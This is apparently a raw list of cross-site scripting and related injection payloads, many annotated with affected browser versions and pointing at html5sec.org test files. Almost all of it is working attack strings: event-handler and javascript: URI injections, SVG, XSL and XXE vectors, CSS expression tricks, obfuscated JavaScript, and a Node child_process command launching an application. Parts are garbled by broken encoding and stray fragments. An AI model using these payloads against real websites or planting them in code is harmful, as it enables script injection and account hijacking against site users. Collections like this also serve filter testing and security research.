\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div> <!-- IE 6-8 --><x '="foo"><x foo='><img src=x onerror=alert(1)//'><!-- IE 6-9 --><! '="foo"><x foo='><img src=x onerror=alert(2)//'><? '="foo"><x foo='><img src=x onerror=alert(3)//'> <embed src="javascript:alert(1)"></embed> // O10.10â, OM10.0â, GC6â, FF<img src="javascript:alert(2)"><image src="javascript:alert(2)"> // IE6, O10.10â, OM10.0â<script src="javascript:alert(3)"></script> // IE6, O11.01â, OM10.1â <!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y> <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?><root/> <!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" onerror CDATA "alert(1)" onload CDATA "alert(2)">]><img /> <doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(1)" xlink:type="simple">XXX</x></doc> <card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(1)"/></onevent><timer value="1"/></card> <div style=width:1px;filter:glow onfilterchange=alert(1)>x</div> <// style=x:expression\28write(1)\29> <form><button formaction="javascript:alert(1)">X</button> <event-source src="event.php" onload="alert(1)"> <a href="javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a> <script<{alert(1)}/></script </> <?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x> <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> <?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/> <object allowscriptaccess="always" data="test.swf"></object> <style>*{x:ï½ ï½ï½ï½ï½ ï½ï½ï½ï½ï½(write(1))}</style> <x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(1)" xlink:type="simple"/> <?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?> <x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)"><x:timer value="1"/></x:template> <x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/> <x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/> <body oninput=alert(1)><input autofocus> <svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" fill="white"/></a></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><animation xlink:href="javascript:alert(1)"/><animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><foreignObject xlink:href="javascript:alert(1)"/><foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E"/></svg> <svg xmlns="http://www.w3.org/2000/svg"><set attributeName="onmouseover" to="alert(1)"/><animate attributeName="onunload" to="alert(1)"/></svg> <!-- Up to Opera 10.63 --><div style=content:url(test2.svg)></div><!-- Up to Opera 11.64 - see link below --><!-- Up to Opera 12.x --><div style="background:url(test5.svg)">PRESS ENTER</div> [A]<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>">[B]<? foo="><x foo='?><script>alert(1)</script>'>">[C]<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">[D]<% foo><x foo="%><script>alert(1)</script>"> <div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div> <div style="list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div> <svg xmlns="http://www.w3.org/2000/svg"><handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage></svg> <iframe src=mhtml:http://html5sec.org/test.html!xss.html> X XXX XXX X X XXX XXX x Drop me Spam Some textwww.example.org // Safari 5.0, Chrome 9, 10 // Safari 5.0 ]> alert(1) -->{}*{color:red} new ActiveXObject('htmlfile').parentWindow.alert(1) "> lose focus! click this! copy this! right click this! copy this! double click this! drag this! focus this! input here! press any key! press any key! press any key! click this! hover this! hover this! hover this! click this! paste here! '>alert(1)/* ipt>alert(1) ipt>alert(1) '; alert(1);// Click Me “/>.<<> “>><>; "text " 0 0 abeon %3C%2Ftitle%3E%3Cscript%20src%3D%22data:&q=jav%26%23x76;s%26%23x76;ript%26colon;a%26%23x5c;u006Cert(1)%22%3E <% style=behavior:url(: onreadystatechange=alert(1)> prompt(document.domain) <% style=behavior:url(: onreadystatechange=alert(1)> "-alert(3)// <img src="" /></noembed> <noscript><img src="</noscript><iframe onload=alert(1)>" /></noscript> <script>document.write('<script>/*');</script>*/alert(1)</script> <!DOCTYPE a [<!ENTITY b SYSTEM '1' NDATA c><!ENTITY d SYSTEM '2' NDATA e><!NOTATION e SYSTEM '3'>]><f/> ([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() <script>top.require('child_process').execSync('open -a Calculator')</script> <meta http-equiv="refresh" content="1; url=file:////net/xss.cx/xss.html"> <a href="file:///Applications/Calculator.app"><svg onload="this.parentNose.click()"></a> <script type=text/babel>prompt(7)</script> <script type="text/rocketscript">prompt(7`)</script> <svg><a xml:base="javascript:alert(1)//" href="#"><circle r="100" /></svg> †‡•＜img src=a onerror=javascript:alert(1)>…‰€ <iframe/onload='this["src"]="javas	cript:al"+"ert``"';> <img/src=q onerror='new Function`al\ert\`1\``'> <script>location.href;'javascript:alert%281%29'</script> '"</Script><Html Onmouseover=(alert)(1) //
